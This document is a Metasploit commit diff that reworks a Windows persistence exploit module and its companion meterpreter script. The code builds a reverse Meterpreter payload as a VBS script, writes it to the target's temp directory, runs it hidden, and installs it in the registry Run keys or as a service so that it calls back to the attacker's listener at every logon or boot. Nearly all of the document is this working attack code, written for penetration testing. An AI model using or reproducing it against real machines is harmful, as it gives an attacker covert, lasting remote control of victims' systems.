Deconflicts and lands #2395, a rework of persistence

bug/bundler_fix
HD Moore 2014-12-12 16:30:24 -06:00
commit e088a4862e
No known key found for this signature in database
GPG Key ID: 22015B93FA604913
2 changed files with 73 additions and 82 deletions

View File

@ -5,11 +5,16 @@
require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
class Metasploit3 < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Registry
@ -19,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Local
super( update_info( info,
'Name' => 'Windows Manage Persistent Payload Installer',
'Description' => %q{
This Module will create a boot persistent reverse Meterpreter session by
This Module will create a boot persistent reverse Meterpreter session by
installing on the target host the payload as a script that will be executed
at user logon or system startup depending on privilege and selected startup
method.
@ -44,7 +49,6 @@ class Metasploit3 < Msf::Exploit::Local
OptString.new('REG_NAME',[false, 'The name to call registry value for persistence on remote system','']),
OptString.new('PATH',[false, 'Path to write payload']),
], self.class)
end
# Exploit Method for when exploit command is issued
@ -59,49 +63,37 @@ class Metasploit3 < Msf::Exploit::Local
exe = generate_payload_exe
script = ::Msf::Util::EXE.to_exe_vbs(exe, {:persist => true, :delay => delay})
script_on_target = write_script_to_target(script,rexename)
script_on_target = write_script_to_target(script, rexename)
if script_on_target == nil
# exit the module because we failed to write the file on the target host.
return
end
# exit the module because we failed to write the file on the target host.
return unless script_on_target
# Initial execution of script
if target_exec(script_on_target) == nil
# Exit if we where not able to run the payload.
return
end
case datastore['STARTUP']
when /USER/i
regwrite = write_to_reg("HKCU", script_on_target, reg_val)
when 'USER'
# if we could not write the entry in the registy we exit the module.
if not regwrite
return
end
when /SYSTEM/i
regwrite = write_to_reg("HKLM", script_on_target, reg_val)
return unless write_to_reg("HKCU", script_on_target, reg_val)
when 'SYSTEM'
# if we could not write the entry in the registy we exit the module.
if not regwrite
return
end
return unless write_to_reg("HKLM", script_on_target, reg_val)
end
clean_rc = log_file()
file_local_write(clean_rc,@clean_up_rc)
file_local_write(clean_rc, @clean_up_rc)
print_status("Cleanup Meterpreter RC File: #{clean_rc}")
report_note(:host => host,
:type => "host.persistance.cleanup",
:data => {
:local_id => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:local_id => session.sid,
:stype => session.type,
:desc => session.info,
:platform => session.platform,
:via_payload => session.via_payload,
:via_exploit => session.via_exploit,
:created_at => Time.now.utc,
:commands => @clean_up_rc
:created_at => Time.now.utc,
:commands => @clean_up_rc
}
)
end
@ -116,9 +108,11 @@ class Metasploit3 < Msf::Exploit::Local
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
logs = ::File.join(log_path, 'logs', 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo) )
else
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
logs = ::File.join(Msf::Config.log_directory, 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo) )
end
# Create the log directory
@ -129,10 +123,11 @@ class Metasploit3 < Msf::Exploit::Local
return logfile
end
# Writes script to target host
def write_script_to_target(vbs,name)
# Writes script to target host and returns the pathname of the target file or nil if the
# file could not be written.
def write_script_to_target(vbs, name)
tempdir = datastore['PATH'] || session.sys.config.getenv('TEMP')
if name == nil
unless name
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
else
tempvbs = tempdir + "\\" + name + ".vbs"
@ -140,7 +135,8 @@ class Metasploit3 < Msf::Exploit::Local
begin
write_file(tempvbs, vbs)
print_good("Persistent Script written to #{tempvbs}")
@clean_up_rc << "rm '#{tempvbs}'\n"
tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators.
@clean_up_rc << "rm #{tempvbs}\n"
rescue
print_error("Could not write the payload on the target hosts.")
# return nil since we could not write the file on the target host.
@ -149,48 +145,39 @@ class Metasploit3 < Msf::Exploit::Local
return tempvbs
end
# Executes script on target and return the PID of the process
# Executes script on target and returns true if it was successfully started
def target_exec(script_on_target)
execsuccess = true
print_status("Executing script #{script_on_target}")
# error handling for process.execute() can throw a RequestError in send_request.
begin
if datastore['EXE::Custom'].nil?
unless datastore['EXE::Custom']
session.shell_command_token(script_on_target)
else
session.shell_command_token("cscript \"#{script_on_target}\"")
end
rescue
print_error("Failed to execute payload on target host.")
execsuccess = nil
print_error("Failed to execute payload on target host.")
execsuccess = false
end
return execsuccess
end
# Installs payload in to the registry HKLM or HKCU
def write_to_reg(key,script_on_target, registry_value)
# Lets start to assume we had success.
write_success = true
if registry_value.nil?
nam = Rex::Text.rand_text_alpha(rand(8)+8)
def write_to_reg(key, script_on_target, registry_value)
nam = registry_value || Rex::Text.rand_text_alpha(rand(8)+8)
key_path = "#{key.to_s}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
print_status("Installing into autorun as #{key_path}\\#{nam}")
if key && registry_setvaldata(key_path, nam, script_on_target, "REG_SZ")
print_good("Installed into autorun as #{key_path}\\#{nam}")
return true
else
nam = registry_value
print_error("Failed to make entry in the registry for persistence.")
end
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
if(key)
set_return = registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
if set_return
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
else
print_error("Failed to make entry in the registry for persistence.")
write_success = false
end
else
print_error("Error: failed to open the registry key for writing")
write_success = false
end
false
end
end

View File

@ -1,15 +1,13 @@
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
# Author: Carlos Perez at carlos_perez[at]darkoperator.com
#-------------------------------------------------------------------------------
################## Variable Declarations ##################
# Meterpreter Session
@client = client
@ -32,13 +30,13 @@ script_on_target = nil
@exec_opts = Rex::Parser::Arguments.new(
"-h" => [ false, "This help menu"],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening"],
"-p" => [ true, "The port on which the system running Metasploit is listening"],
"-i" => [ true, "The interval in seconds between each connection attempt"],
"-X" => [ false, "Automatically start the agent when the system boots"],
"-U" => [ false, "Automatically start the agent when the User logs on"],
"-S" => [ false, "Automatically start the agent on boot as a service (with SYSTEM privileges)"],
"-A" => [ false, "Automatically start a matching multi/handler to connect to the agent"],
"-L" => [ true, "Location in target host where to write payload to, if none \%TEMP\% will be used."],
"-L" => [ true, "Location in target host to write payload to, if none \%TEMP\% will be used."],
"-T" => [ true, "Alternate executable template to use"],
"-P" => [ true, "Payload to use, default is windows/meterpreter/reverse_tcp."]
)
@ -76,9 +74,11 @@ end
#-------------------------------------------------------------------------------
def create_script(delay,altexe,raw)
if altexe
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay, :template => altexe})
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay, :template => altexe})
else
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw, {:persist => true, :delay => delay})
vbs = ::Msf::Util::EXE.to_win32pe_vbs(@client.framework, raw,
{:persist => true, :delay => delay})
end
print_status("Persistent agent script is #{vbs.length} bytes long")
return vbs
@ -95,9 +95,11 @@ def log_file(log_path = nil)
# Create a directory for the logs
if log_path
logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
logs = ::File.join(log_path, 'logs', 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo) )
else
logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) )
logs = ::File.join(Msf::Config.log_directory, 'persistence',
Rex::FileUtils.clean_path(host + filenameinfo) )
end
# Create the log directory
@ -114,13 +116,14 @@ def write_script_to_target(target_dir,vbs)
if target_dir
tempdir = target_dir
else
tempdir = @client.sys.config.getenv('TEMP')
tempdir = @client.fs.file.expand_path("%TEMP%")
end
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
fd = @client.fs.file.new(tempvbs, "wb")
fd.write(vbs)
fd.close
print_good("Persistent Script written to #{tempvbs}")
tempvbs = tempvbs.gsub(/\\/, '//') # Escape windows pathname separators.
file_local_write(@clean_up_rc, "rm #{tempvbs}\n")
return tempvbs
end
@ -150,23 +153,24 @@ def targets_exec(script_on_target)
print_status("Executing script #{script_on_target}")
proc = session.sys.process.execute("cscript \"#{script_on_target}\"", nil, {'Hidden' => true})
print_good("Agent executed with PID #{proc.pid}")
file_local_write(@clean_up_rc, "kill #{proc.pid}\n")
return proc.pid
end
# Function to insytall payload in to the registry HKLM or HKCU
# Function to install payload in to the registry HKLM or HKCU
#-------------------------------------------------------------------------------
def write_to_reg(key,script_on_target)
nam = Rex::Text.rand_text_alpha(rand(8)+8)
print_status("Installing into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
if(key)
registry_setvaldata("#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",nam,script_on_target,"REG_SZ")
print_good("Installed into autorun as #{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\#{nam}")
file_local_write(@clean_up_rc, "reg deleteval -k '#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -v #{nam}\n")
key_path = "#{key}\\Software\\Microsoft\\Windows\\CurrentVersion\\Run"
print_status("Installing into autorun as #{key_path}\\#{nam}")
if key
registry_setvaldata("#{key_path}", nam, script_on_target, "REG_SZ")
print_good("Installed into autorun as #{key_path}\\#{nam}")
file_local_write(@clean_up_rc, "reg deleteval -k '#{key_path}' -v #{nam}\n")
else
print_error("Error: failed to open the registry key for writing")
end
end
# Function to install payload as a service
#-------------------------------------------------------------------------------
def install_as_service(script_on_target)
@ -219,13 +223,13 @@ print_status("Running Persistance Script")
@clean_up_rc = log_file()
print_status("Resource file for cleanup created at #{@clean_up_rc}")
# Create and Upload Payload
raw = create_payload(payload_type,rhost,rport)
script = create_script(delay,altexe,raw)
script_on_target = write_script_to_target(target_dir,script)
raw = create_payload(payload_type, rhost, rport)
script = create_script(delay, altexe, raw)
script_on_target = write_script_to_target(target_dir, script)
# Start Multi/Handler
if autoconn
set_handler(payload_type,rhost,rport)
set_handler(payload_type, rhost, rport)
end
# Execute on target host